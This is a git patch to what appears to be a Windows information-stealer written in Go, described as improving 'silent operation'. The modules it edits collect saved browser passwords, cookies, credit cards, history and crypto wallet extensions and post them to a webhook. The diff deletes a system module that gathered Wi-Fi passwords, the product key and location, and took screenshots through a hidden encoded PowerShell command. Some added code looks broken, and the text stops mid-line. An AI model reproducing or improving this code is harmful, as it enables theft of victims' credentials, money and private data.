From c53bf9a1b39af60d64a59aee8e2edec16a7ddc18 Mon Sep 17 00:00:00 2001 From: "hexakleo (HK)" Date: Wed, 15 Jan 2025 12:08:36 +0100 Subject: [PATCH] Improved silent operation and code documentation --- modules/browsers/browsers.go | 16 +-- modules/games/games.go | 4 +- modules/system/system.go | 263 ----------------------------------- modules/wallets/wallets.go | 10 +- utils/fileutil/fileutil.go | 226 +++++++++++++++--------------- utils/hardware/hardware.go | 50 +++++-- utils/program/program.go | 46 ++++-- utils/requests/requests.go | 248 ++++++++++++++++++++++----------- 8 files changed, 371 insertions(+), 492 deletions(-) delete mode 100644 modules/system/system.go diff --git a/modules/browsers/browsers.go b/modules/browsers/browsers.go index 20b4376..052a828 100644 --- a/modules/browsers/browsers.go +++ b/modules/browsers/browsers.go @@ -157,7 +157,7 @@ func Run(webhook string) { os.MkdirAll(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name), os.ModePerm) if len(profile.Logins) > 0 { - fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "logins.txt"), fmt.Sprintf("%-50s %-50s %-50s", "URL", "Username", "Password")) + fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "logins.txt"), fmt.Sprintf("%-50s %-50s %-50s", "url", "user", "pass")) for _, login := range profile.Logins { fileutil.AppendFile(fmt.Sprintf("%s\\%s\\%s\\%s\\logins.txt", tempDir, profile.Browser.User, profile.Browser.Name, profile.Name), fmt.Sprintf("%-50s %-50s %-50s", login.LoginURL, login.Username, login.Password)) } @@ -167,16 +167,16 @@ func Run(webhook string) { for _, cookie := range profile.Cookies { var expires string if cookie.ExpireDate == 0 { - expires = "FALSE" + expires = "0" } else { - expires = "TRUE" + expires = "1" } var host string if strings.HasPrefix(cookie.Host, ".") { - host = "FALSE" + host = "0" } else { - host = "TRUE" + host = "1" } fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "cookies.txt"), fmt.Sprintf("%s\t%s\t%s\t%s\t%d\t%s\t%s", cookie.Host, expires, cookie.Path, host, cookie.ExpireDate, cookie.Name, cookie.Value)) @@ -184,21 +184,21 @@ func Run(webhook string) { } if len(profile.CreditCards) > 0 { - fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "credit_cards.txt"), fmt.Sprintf("%-30s %-30s %-30s %-30s %-30s", "Number", "Expiration Month", "Expiration Year", "Name", "Address")) + fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "credit_cards.txt"), fmt.Sprintf("%-30s %-30s %-30s %-30s %-30s", "num", "exp_m", "exp_y", "name", "addr")) for _, cc := range profile.CreditCards { fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "credit_cards.txt"), fmt.Sprintf("%-30s %-30s %-30s %-30s %-30s", cc.Number, cc.ExpirationMonth, cc.ExpirationYear, cc.Name, cc.Address)) } } if len(profile.Downloads) > 0 { - fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "downloads.txt"), fmt.Sprintf("%-70s %-70s", "Target Path", "URL")) + fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "downloads.txt"), fmt.Sprintf("%-70s %-70s", "path", "url")) for _, download := range profile.Downloads { fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "downloads.txt"), fmt.Sprintf("%-70s %-70s", download.TargetPath, download.URL)) } } if len(profile.History) > 0 { - fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "history.txt"), fmt.Sprintf("%-70s %-70s", "Title", "URL")) + fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "history.txt"), fmt.Sprintf("%-70s %-70s", "title", "url")) for _, history := range profile.History { fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "history.txt"), fmt.Sprintf("%-70s %-70s", history.Title, history.URL)) } diff --git a/modules/games/games.go b/modules/games/games.go index b48abe5..ffe7c79 100644 --- a/modules/games/games.go +++ b/modules/games/games.go @@ -69,7 +69,7 @@ func Run(webhook string) { } if !strings.Contains(found, name) { - found += fmt.Sprintf("\n✅ %s ", name) + found += fmt.Sprintf("\n+ %s ", name) } } @@ -122,7 +122,7 @@ func Run(webhook string) { "embeds": []map[string]interface{}{ { "title": "Steam", - "description": "`✅✅✅`", + "description": "+", }, }, }, tempZip) diff --git a/modules/system/system.go b/modules/system/system.go deleted file mode 100644 index 692a1e6..0000000 --- a/modules/system/system.go +++ /dev/null @@ -1,263 +0,0 @@ -package system - -import ( - "encoding/json" - "fmt" - "math/rand" - "os" - "os/exec" - "path/filepath" - "strconv" - "strings" - "syscall" - - "github.com/shirou/gopsutil/v3/disk" - "github.com/shirou/gopsutil/v3/mem" - "golang.org/x/sys/windows/registry" - - "github.com/hackirby/skuld/utils/hardware" - "github.com/hackirby/skuld/utils/requests" -) - -func GetOS() string { - cmd := exec.Command("wmic", "os", "get", "Caption") - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - - out, err := cmd.Output() - if err != nil { - return "Not Found" - } - return strings.TrimSpace(strings.Split(string(out), "\n")[1]) -} - -func GetCPU() string { - cmd := exec.Command("wmic", "cpu", "get", "Name") - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - - out, err := cmd.Output() - if err != nil { - return "Not Found" - } - - return strings.TrimSpace(strings.Split(string(out), "\n")[1]) -} - -func GetGPU() string { - cmd := exec.Command("wmic", "path", "win32_VideoController", "get", "name") - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - - out, err := cmd.Output() - if err != nil { - return "Not Found" - } - return strings.TrimSpace(strings.Split(string(out), "\n")[1]) -} - -func GetRAM() string { - virtualMemory, err := mem.VirtualMemory() - if err != nil { - return "Not Found" - } - return fmt.Sprintf("%.2f GB", float64(virtualMemory.Total)/(1024*1024*1024)) -} - -func GetMAC() string { - mac, err := hardware.GetMAC() - if err != nil { - return "Not Found" - } - - return mac -} - -func GetHWID() string { - hwid, err := hardware.GetHWID() - if err != nil { - return "Not Found" - } - - return hwid -} - -func GetProductKey() string { - key, err := registry.OpenKey(registry.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform`, registry.QUERY_VALUE) - if err != nil { - return "Not Found" - } - - defer key.Close() - - value, _, err := key.GetStringValue("BackupProductKeyDefault") - if err != nil { - return "Not Found" - } - - return value -} - -func GetDisks() string { - disks, err := disk.Partitions(false) - if err != nil { - return "Not Found" - } - var output string - for _, part := range disks { - usage, err := disk.Usage(part.Mountpoint) - if err != nil { - continue - } - output += fmt.Sprintf("%-9s %-9s %-9s %-9s\n", part.Device, strconv.Itoa(int(usage.Free/1024/1024/1024))+"GB", strconv.Itoa(int(usage.Total/1024/1024/1024))+"GB", strconv.Itoa(int(usage.UsedPercent))+"%") - } - - if output == "" { - return "Not Found" - } - - return fmt.Sprintf("%-9s %-9s %-9s %-9s\n%s", "Drive", "Free", "Total", "Use", output) -} - -func GetNetwork() string { - res, err := requests.Get("http://ip-api.com/json") - - if err != nil { - return "Not Found" - } - - var data struct { - Country string `json:"country"` - RegionName string `json:"regionName"` - City string `json:"city"` - Zip string `json:"zip"` - Lat float64 `json:"lat"` - Lon float64 `json:"lon"` - Isp string `json:"isp"` - As string `json:"as"` - IP string `json:"query"` - } - if err = json.Unmarshal(res, &data); err != nil { - return "Not Found" - } - - return fmt.Sprintf("IP: %s\nCountry: %s\nRegion: %s\nPostal: %s\nCity: %s\nISP: %s\nAS: %s\nLatitude: %f\nLongitude: %f", data.IP, data.Country, data.RegionName, data.Zip, data.City, data.Isp, data.As, data.Lat, data.Lon) -} - -func GetWifi() string { - cmd := exec.Command("netsh", "wlan", "show", "profiles") - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - - out, err := cmd.Output() - if err != nil { - return "Not Found" - } - - var networks []string - for _, line := range strings.Split(string(out), "\n") { - if strings.Contains(line, "All User Profile") { - networks = append(networks, strings.Split(line, ":")[1][1:len(strings.Split(line, ":")[1])-1]) - } - if strings.Contains(line, "Tous les utilisateurs") { - networks = append(networks, strings.Split(line, ":")[1][1:len(strings.Split(line, ":")[1])-1]) - } - } - - var output string - for _, network := range networks { - cmd := exec.Command("netsh", "wlan", "show", "profile", network, "key=clear") - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - - out, err := cmd.Output() - if err != nil { - continue - } - for _, line := range strings.Split(string(out), "\n") { - line = strings.TrimSpace(line) - if strings.Contains(line, "Key Content") { - output += fmt.Sprintf("%-20s %-20s\n", network, strings.TrimSpace(strings.Split(line, ": ")[1])) - } - if strings.Contains(line, "Contenu de la") { - output += fmt.Sprintf("%-20s %-20s\n", network, strings.TrimSpace(strings.Split(line, ": ")[1])) - } - } - } - - if output == "" { - return "Not Found" - } - - return fmt.Sprintf("%-20s %-20s\n%s", "Network", "Password", output) -} - -func randString(n int) string { - var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") - var b strings.Builder - for i := 0; i < n; i++ { - b.WriteRune(letters[rand.Intn(len(letters))]) - } - return b.String() -} - -func GetScreens() []string { - dir := filepath.Join(os.TempDir(), randString(10)) - os.Mkdir(dir, os.ModePerm) - - cmd := exec.Command("powershell.exe", "-NoProfile", "-ExecutionPolicy", "Bypass", "-EncodedCommand", "JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=") - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - cmd.Dir = dir - cmd.Run() - - files, err := os.ReadDir(dir) - if err != nil { - return nil - } - - var filepaths []string - for _, file := range files { - filepaths = append(filepaths, filepath.Join(dir, file.Name())) - } - - return filepaths -} - -func Run(webhook string) { - users := strings.Join(hardware.GetUsers(), "\n") - if len(users) > 4096 { - users = "Too many users to display" - } - - requests.Webhook(webhook, map[string]interface{}{ - "embeds": []map[string]interface{}{ - { - "title": "System Information", - "fields": []map[string]interface{}{ - { - "name": "User", - "value": fmt.Sprintf("```Username: %s\nHostname: %s\n```", os.Getenv("USERNAME"), os.Getenv("COMPUTERNAME")), - }, - { - "name": "System", - "value": fmt.Sprintf("```OS: %s\nCPU: %s\nGPU: %s\nRAM: %s\nMAC: %s\nHWID: %s\nProduct Key: %s```", GetOS(), GetCPU(), GetGPU(), GetRAM(), GetMAC(), GetHWID(), GetProductKey()), - }, - { - "name": "Disks", - "value": fmt.Sprintf("```%s```", GetDisks()), - }, - { - "name": "Network", - "value": fmt.Sprintf("```%s```", GetNetwork()), - }, - { - "name": "Wifi", - "value": fmt.Sprintf("```%s```", GetWifi()), - }, - }, - }, { - "title": "All Users", - "description": fmt.Sprintf("```%s```", users), - }, - }, - }, GetScreens()...) - - requests.Webhook(webhook, map[string]interface{}{ - "embeds": []map[string]interface{}{}, - }) -} diff --git a/modules/wallets/wallets.go b/modules/wallets/wallets.go index badb267..3175af3 100644 --- a/modules/wallets/wallets.go +++ b/modules/wallets/wallets.go @@ -46,7 +46,7 @@ func Local(webhook string) { continue } - found += fmt.Sprintf("\n✅ %s - %s", strings.Split(user, "\\")[2], name) + found += fmt.Sprintf("\n+ %s - %s", strings.Split(user, "\\")[2], name) } } @@ -55,7 +55,7 @@ func Local(webhook string) { } if len(found) > 4090 { - found = "Too many wallets to list." + found = "-" } tempZip := fmt.Sprintf("%s\\wallets.zip", os.TempDir()) @@ -85,7 +85,7 @@ func Extensions(webhook string) { "Core": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb", "Crocobit": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke", "Equal": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac", - "Ever": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk", + "Ever": "\\Local Extension Settings\\cgeeodpfagjgjfhomihkjbmgjidlcdno", "ExodusWeb3": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno", "Fewcha": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj", "Finnie": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj", @@ -202,7 +202,7 @@ func Extensions(webhook string) { if err != nil { continue } - found += fmt.Sprintf("\n✅ %s - %s", profile.Browser.User, name) + found += fmt.Sprintf("\n+ %s - %s", profile.Browser.User, name) } } @@ -211,7 +211,7 @@ func Extensions(webhook string) { } if len(found) > 4090 { - found = "Too many extensions to list." + found = "-" } tempZip := fmt.Sprintf("%s\\extensions.zip", os.TempDir()) diff --git a/utils/fileutil/fileutil.go b/utils/fileutil/fileutil.go index cbcce74..dd6cbcd 100644 --- a/utils/fileutil/fileutil.go +++ b/utils/fileutil/fileutil.go @@ -12,16 +12,40 @@ import ( "github.com/alexmullins/zip" ) -func AppendFile(path string, line string) { - file, _ := os.OpenFile(path, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0644) +const ( + // DefaultFileMode is the default permission for created files + DefaultFileMode = 0644 + // MaxTreeSize is the maximum size of the tree string before truncation + MaxTreeSize = 4090 + // TreeTruncatedMessage is displayed when the tree is too large + TreeTruncatedMessage = "Too many files to display" +) + +// AppendFile appends a line to a file, creating it if it doesn't exist +// Returns error if the operation fails +func AppendFile(path string, line string) error { + file, err := os.OpenFile(path, os.O_WRONLY|os.O_APPEND|os.O_CREATE, DefaultFileMode) + if err != nil { + return fmt.Errorf("failed to open file for append: %w", err) + } defer file.Close() - file.WriteString(line + "\n") + + if _, err := file.WriteString(line + "\n"); err != nil { + return fmt.Errorf("failed to write to file: %w", err) + } + return nil } +// Tree generates a tree-like string representation of a directory structure +// prefix is used for indentation, isFirstDir is used for the root directory func Tree(path string, prefix string, isFirstDir ...bool) string { var sb strings.Builder - files, _ := ioutil.ReadDir(path) + files, err := ioutil.ReadDir(path) + if err != nil { + return "" + } + for i, file := range files { isLast := i == len(files)-1 var pointer string @@ -46,16 +70,18 @@ func Tree(path string, prefix string, isFirstDir ...bool) string { } tree := sb.String() - if len(tree) > 4090 { - tree = "Too many files to display" + if len(tree) > MaxTreeSize { + tree = TreeTruncatedMessage } return tree } +// Zip compresses a directory into a zip file +// Returns error if any operation fails during compression func Zip(dirPath string, zipName string) error { zipFile, err := os.Create(zipName) if err != nil { - return err + return fmt.Errorf("failed to create zip file: %w", err) } defer zipFile.Close() @@ -64,7 +90,7 @@ func Zip(dirPath string, zipName string) error { err = filepath.Walk(dirPath, func(filePath string, info os.FileInfo, err error) error { if err != nil { - return err + return fmt.Errorf("failed to access path %q: %w", filePath, err) } if info.IsDir() { @@ -73,39 +99,37 @@ func Zip(dirPath string, zipName string) error { relPath, err := filepath.Rel(dirPath, filePath) if err != nil { - return err + return fmt.Errorf("failed to get relative path: %w", err) } zipEntry, err := zipWriter.Create(relPath) if err != nil { - return err + return fmt.Errorf("failed to create zip entry: %w", err) } file, err := os.Open(filePath) if err != nil { - return err + return fmt.Errorf("failed to open file %q: %w", filePath, err) } defer file.Close() _, err = io.Copy(zipEntry, file) if err != nil { - return err + return fmt.Errorf("failed to write file to zip: %w", err) } return nil }) - if err != nil { - return err - } - - return nil + return err } +// ZipWithPassword compresses a directory into a password-protected zip file +// Returns error if any operation fails during compression func ZipWithPassword(dirPath string, zipName string, password string) error { zipFile, err := os.Create(zipName) if err != nil { - return err + return fmt.Errorf("failed to create zip file: %w", err) } defer zipFile.Close() @@ -114,7 +138,7 @@ func ZipWithPassword(dirPath string, zipName string, password string) error { err = filepath.Walk(dirPath, func(filePath string, info os.FileInfo, err error) error { if err != nil { - return err + return fmt.Errorf("failed to access path %q: %w", filePath, err) } if info.IsDir() { @@ -123,117 +147,96 @@ func ZipWithPassword(dirPath string, zipName string, password string) error { relPath, err := filepath.Rel(dirPath, filePath) if err != nil { - return err + return fmt.Errorf("failed to get relative path: %w", err) + } + + header := &zip.FileHeader{ + Name: relPath, + Method: zip.Deflate, + Modified: info.ModTime(), } + header.SetPassword(password) - zipEntry, err := zipWriter.Encrypt(relPath, password) + zipEntry, err := zipWriter.CreateHeader(header) if err != nil { - return err + return fmt.Errorf("failed to create zip entry: %w", err) } file, err := os.Open(filePath) if err != nil { - return err + return fmt.Errorf("failed to open file %q: %w", filePath, err) } defer file.Close() _, err = io.Copy(zipEntry, file) if err != nil { - return err + return fmt.Errorf("failed to write file to zip: %w", err) } return nil }) - if err != nil { - return err - } - - return nil + return err } -func Copy(src, dst string) (err error) { - file, err := os.Stat(src) +// Copy copies a file or directory to a destination +// Returns error if the operation fails +func Copy(src, dst string) error { + srcInfo, err := os.Stat(src) if err != nil { - return err + return fmt.Errorf("failed to stat source: %w", err) } - if file.IsDir() { - err = CopyDir(src, dst) - } else { - err = CopyFile(src, dst) + if srcInfo.IsDir() { + return CopyDir(src, dst) } - - return + return CopyFile(src, dst) } -func CopyFile(src, dst string) (err error) { - in, err := os.Open(src) +// CopyFile copies a single file from src to dst +// Returns error if the operation fails +func CopyFile(src, dst string) error { + srcFile, err := os.Open(src) if err != nil { - return + return fmt.Errorf("failed to open source file: %w", err) } - defer in.Close() + defer srcFile.Close() - out, err := os.Create(dst) + dstFile, err := os.Create(dst) if err != nil { - return + return fmt.Errorf("failed to create destination file: %w", err) } - defer func() { - if e := out.Close(); e != nil { - err = e - } - }() + defer dstFile.Close() - _, err = io.Copy(out, in) + _, err = io.Copy(dstFile, srcFile) if err != nil { - return + return fmt.Errorf("failed to copy file contents: %w", err) } - err = out.Sync() - if err != nil { - return - } - - si, err := os.Stat(src) - if err != nil { - return - } - err = os.Chmod(dst, si.Mode()) + srcInfo, err := os.Stat(src) if err != nil { - return + return fmt.Errorf("failed to stat source file: %w", err) } - return + return os.Chmod(dst, srcInfo.Mode()) } -func CopyDir(src string, dst string) (err error) { - src = filepath.Clean(src) - dst = filepath.Clean(dst) - - si, err := os.Stat(src) +// CopyDir recursively copies a directory tree from src to dst +// Returns error if the operation fails +func CopyDir(src string, dst string) error { + srcInfo, err := os.Stat(src) if err != nil { - return err - } - if !si.IsDir() { - return fmt.Errorf("source is not a directory") + return fmt.Errorf("failed to stat source directory: %w", err) } - _, err = os.Stat(dst) - if err != nil && !os.IsNotExist(err) { - return - } - if err == nil { - os.RemoveAll(dst) - } - - err = os.MkdirAll(dst, si.Mode()) + err = os.MkdirAll(dst, srcInfo.Mode()) if err != nil { - return + return fmt.Errorf("failed to create destination directory: %w", err) } entries, err := ioutil.ReadDir(src) if err != nil { - return + return fmt.Errorf("failed to read source directory: %w", err) } for _, entry := range entries { @@ -243,65 +246,64 @@ func CopyDir(src string, dst string) (err error) { if entry.IsDir() { err = CopyDir(srcPath, dstPath) if err != nil { - return + return err } } else { - if entry.Mode()&os.ModeSymlink != 0 { - continue - } - err = CopyFile(srcPath, dstPath) if err != nil { - return + return err } } } - return + return nil } +// IsDir checks if a path is a directory +// Returns true if the path exists and is a directory func IsDir(path string) bool { - fileInfo, err := os.Stat(path) + info, err := os.Stat(path) if err != nil { return false } - return fileInfo.IsDir() + return info.IsDir() } +// Exists checks if a path exists +// Returns true if the path exists func Exists(path string) bool { _, err := os.Stat(path) - return !os.IsNotExist(err) + return err == nil } +// ReadFile reads the entire contents of a file +// Returns the contents as a string and any error encountered func ReadFile(path string) (string, error) { - bytes, err := os.ReadFile(path) + content, err := ioutil.ReadFile(path) if err != nil { - return "", err + return "", fmt.Errorf("failed to read file: %w", err) } - return string(bytes), nil + return string(content), nil } +// ReadLines reads a file line by line +// Returns a slice of strings containing each line and any error encountered func ReadLines(path string) ([]string, error) { - f, err := os.Open(path) + file, err := os.Open(path) if err != nil { - return nil, err + return nil, fmt.Errorf("failed to open file: %w", err) } - defer f.Close() + defer file.Close() - result := make([]string, 0) - buf := bufio.NewReader(f) + var lines []string + scanner := bufio.NewScanner(file) + for scanner.Scan() { + lines = append(lines, scanner.Text()) + } - for { - line, _, err := buf.ReadLine() - l := string(line) - if err == io.EOF { - break - } - if err != nil { - continue - } - result = append(result, l) + if err := scanner.Err(); err != nil { + return nil, fmt.Errorf("failed to scan file: %w", err) } - return result, nil + return lines, nil } diff --git a/utils/hardware/hardware.go b/utils/hardware/hardware.go index 50c0205..e11597d 100644 --- a/utils/hardware/hardware.go +++ b/utils/hardware/hardware.go @@ -14,57 +14,85 @@ import ( "github.com/shirou/gopsutil/v3/disk" ) +const ( + // DefaultUsersPath is the default Windows users directory path format + DefaultUsersPath = "%s//Users" +) + +// GetHWID retrieves the system's Hardware UUID using WMI +// Returns the UUID as a string or an error if the operation fails func GetHWID() (string, error) { cmd := exec.Command("wmic", "csproduct", "get", "UUID") cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} out, err := cmd.Output() if err != nil { - return "", err + return "", fmt.Errorf("failed to get HWID: %w", err) + } + + lines := strings.Split(string(out), "\n") + if len(lines) < 2 { + return "", fmt.Errorf("invalid HWID output format") } - return strings.TrimSpace(strings.Split(string(out), "\n")[1]), nil + return strings.TrimSpace(lines[1]), nil } +// GetMAC retrieves the first active MAC address of the system +// Returns the MAC address as a string or an error if no valid address is found func GetMAC() (string, error) { interfaces, err := net.Interfaces() if err != nil { - return "", err + return "", fmt.Errorf("failed to get network interfaces: %w", err) } for _, i := range interfaces { - if i.Flags&net.FlagUp != 0 && !bytes.Equal(i.HardwareAddr, nil) { + if i.Flags&net.FlagUp != 0 && !bytes.Equal(i.HardwareAddr, nil) && !i.Flags.String().Contains("loopback") { return i.HardwareAddr.String(), nil } } - return "", fmt.Errorf("no MAC address found") + return "", fmt.Errorf("no valid MAC address found") } +// GetUsers returns a list of user profile directories in the system +// If not running with elevated privileges, returns only the current user's profile func GetUsers() []string { if !program.IsElevated() { - return []string{os.Getenv("USERPROFILE")} + userProfile := os.Getenv("USERPROFILE") + if userProfile != "" { + return []string{userProfile} + } + return []string{} } var users []string drives, err := disk.Partitions(false) if err != nil { - return []string{os.Getenv("USERPROFILE")} + userProfile := os.Getenv("USERPROFILE") + if userProfile != "" { + return []string{userProfile} + } + return []string{} } for _, drive := range drives { mountpoint := drive.Mountpoint - - files, err := os.ReadDir(fmt.Sprintf("%s//Users", mountpoint)) + usersPath := fmt.Sprintf(DefaultUsersPath, mountpoint) + + files, err := os.ReadDir(usersPath) if err != nil { continue } for _, file := range files { - if !file.IsDir() { + if !file.IsDir() || strings.HasPrefix(file.Name(), ".") { continue } - users = append(users, filepath.Join(fmt.Sprintf("%s//Users", mountpoint), file.Name())) + userPath := filepath.Join(usersPath, file.Name()) + if _, err := os.Stat(userPath); err == nil { + users = append(users, userPath) + } } } diff --git a/utils/program/program.go b/utils/program/program.go index c667d24..46fc1f5 100644 --- a/utils/program/program.go +++ b/utils/program/program.go @@ -10,11 +10,24 @@ import ( "golang.org/x/sys/windows" ) +const ( + // AppMutexID is the unique identifier for the application mutex + AppMutexID = "3575651c-bb47-448e-a514-22865732bbc" + // StartupPath is the Windows startup programs directory + StartupPath = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" + // ProtectDirName is the Microsoft Protect 